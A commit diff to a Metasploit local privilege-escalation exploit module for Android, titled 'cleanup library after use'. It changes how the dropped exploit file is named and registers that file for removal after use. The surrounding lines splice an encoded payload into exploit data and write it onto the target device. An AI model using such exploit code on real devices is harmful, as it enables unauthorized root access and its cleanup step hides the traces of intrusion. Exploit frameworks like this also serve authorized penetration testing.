cleanup library after use

Author: timwr

modules/exploits/android/local/put_user_vroot.rb

@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
 
   include Msf::Post::File
   include Msf::Post::Common
+  include Msf::Exploit::FileDropper
 
   def initialize(info={})
     super( update_info( info, {
@@ -66,7 +67,8 @@ def exploit
     exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
 
     workingdir = session.fs.dir.getwd
-    remote_file = "#{workingdir}/lib#{Rex::Text::rand_text_alpha_lower(5)}.so"
+    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
+    register_file_for_cleanup(remote_file)
     write_file(remote_file, exploit_data)
 
     print_status("Loading exploit library #{remote_file}")